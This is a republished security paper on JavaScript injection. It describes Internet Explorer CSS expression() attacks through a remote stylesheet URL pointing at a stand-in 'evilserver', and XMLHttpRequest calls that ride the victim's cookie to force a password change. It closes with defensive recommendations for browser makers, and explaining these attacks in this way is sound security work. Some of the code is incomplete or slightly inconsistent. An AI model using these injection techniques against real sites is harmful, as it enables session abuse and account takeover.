‘Misunderstanding Javascript Injection: Web Application Abuse via Javascript Injection’


Whilst it is common to see the issue of Javascript injection on the various security oriented mailing lists, there are issues Tim has not seen much mention of, this paper seeks to rectify that.

This paper seeks to make two key points:
 1. To successfully inject, doesn’t require Javascript: or the < script> tag.
 2. After successful injection, stuff the cookie, AJAX gives more room to move.’


‘The information has been provided by Tim Brown.
The original article can be found at: http://www.nth-dimension.org.uk/news/entry.php?e=156579087
Another paper on the subject can be found at: https://securiteam.com/securityreviews/6H00D0KEAY.html


‘ 1. A little known feature of Microsoft’s Internet Explorer is that it allows Javascript within cascading style sheets using the expression directives. Consider the following code fragment in PHP:

echo ‘< link rel=’stylesheet’ type=’text/css’ href=” . $_GET[‘theme’] . ‘/style.css’>n’;

As you can see, the PHP interpreter will construct the URL to the style.css file, based on user input, which gives us a vector of attack. By requesting a URL of http://server/index.php?theme=http://evilserver the web server will return a page including the HTML code:

< link rel=’stylesheet’ type=’text/css’ href=’http://evilserver/style.css’>

and the client will therefore fetch our style sheet from evil server. Taking a copy of the original style sheet from server, we then tweak it so that properties of the p class include our malicious code:

p {behaviour:expression(function(element){
… malicious code …

What this does it bind an anonymous function containing our malicious code to the p behavior property implemented in Microsoft’s propriety DHTML implementation. This anonymous function will be called for each <p> tag within the returned page.
It should be observed that the code above is just an example of a more generalised case. The cascading style sheet directive URL can also be used to reference a remote Javascript file and the injection point can be anywhere that can be used to define a style.
 2. Pretty much all the major browsers in use today support asynchronous HTTP requests and it’s being extensively leveraged to provide a more dynamic web. However, for all the good uses in AJAX enabled web applications it suffers from major draw backs.
Requests via the XMLHTTP interface run with the same rights (within the web server) as legitimate requests by a user using the same site. If a user is logged in and therefore has a valid cookie, this cookie will be sent in all requests made by any Javascript code injected into the web page as long as the requests are for URLs on the same domain.
Now, that doesn’t sound too bad, until you consider that the XMLHTTP interface supports both the GET and POST methods and can make multiple, undetectable requests. This is exactly what you’d need to spoof a session to, for example create a new administrative user, change the current users password etc. Consider the following code fragment in PHP:

if (!isset($_SESSION[‘authenticated’])) {
$_SESSION[‘authenticated’] = 1;

echo ‘< form method=’get’ action=” . $PHP_SELF . ”>n’;
echo ‘< input type=’text’ name=’input’ value=” length=’500’>n’;
echo ‘< input type=’submit’ name=’submit’ value=’Submit’>n’;
echo ‘</form>n’;
if (isset($_GET[‘input’]) && $_GET[‘input’] != ” && $_GET[‘submit’] == ‘Submit’) {
echo ‘<p>n’;
print $_GET[‘submit’] . ‘n’;
echo ‘</p>n’;

As you can see, this does two things, firstly it sets the cookie variable authenticated to 1 and secondly it returns a form to the current user which is vulnerable to Javascript injection. If we can get a user to follow our link (passing through any required authentication checks) we then have the ability to make further requests via the XMLHTTP interface like so:

var HTTPSession = new XMLHttpRequest();
HTTPSession.open(‘GET’, ‘chpassword.php?password1=pwn3d&password2=pwn3d&submit=Submit’);
HTTPSession.open(‘GET’, ‘logout.php’);

Given the issues that Javascript injection poses, it is questionable whether it should be enabled by default on web browsers as they are supplied to members of the public. It is also questionable that Javascript should be considered an all or nothing option. Web browser developers need to up their game and start to provide sandbox functionality similar to that found in JVM, with options to limit access to dangerous interfaces on an individual site by site basis in a granular manner. It should also be considered whether it would be possible for Javascript code to be signed in a manner which makes use of existing PKI to lessen the opportunities available to malicious code. With specific reference to the use of Javascript within cascading style sheets, Microsoft have made it fairly awkward since they only allow a single expression to be evaluated, but perhaps it would be wise to completely disable this functionality.’

Categories: Reviews